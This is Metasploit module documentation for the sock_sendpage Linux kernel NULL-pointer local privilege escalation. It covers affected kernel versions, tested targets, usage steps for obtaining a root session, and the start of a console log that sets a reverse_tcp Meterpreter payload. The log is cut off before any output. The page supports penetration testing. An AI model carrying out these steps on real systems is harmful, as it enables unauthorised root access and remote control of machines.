## Description

  The Linux kernel failed to properly initialize some entries in the
  `proto_ops` struct for several protocols, leading to `NULL` being
  dereferenced and used as a function pointer. By using `mmap(2)` to map
  page `0`, an attacker can execute arbitrary code in the context of the
  kernel.


## Vulnerable Application

  Several public exploits exist for this vulnerability, including
  spender's `wunderbar_emporium` and rcvalle's ppc port, `sock_sendpage.c`.

  All Linux 2.4/2.6 versions since May 2001 are believed to be affected:

  * 2.4.4 up to and including 2.4.37.4
  * 2.6.0 up to and including 2.6.30.4

  This module has been tested successfully on:

  * CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
  * Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386


## Verification Steps

  1. Start `msfconsole`
  2. Get a session
  3. `use exploit/linux/local/sock_sendpage`
  4. `set SESSION [SESSION]`
  5. `check`
  6. `run`
  7. You should get a new *root* session


## Options

  **SESSION**

  Which session to use, which can be viewed with `sessions`

  **WritableDir**

  A writable directory file system path. (default: `/tmp`)

  **DEBUG_EXPLOIT**

  Enable exploit debug messages. (default: `false`)


## Scenarios

  ### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5

  ```
  msf > use exploit/linux/local/sock_sendpage 
  msf exploit(linux/local/sock_sendpage) > set session 1
  session => 1
  msf exploit(linux/local/sock_sendpage) > set verbose true
  verbose => true
  msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp
  payload => linux/x86/meterpreter/reverse_tcp
  msf exploit(linux/local/sock_sendpage) > run
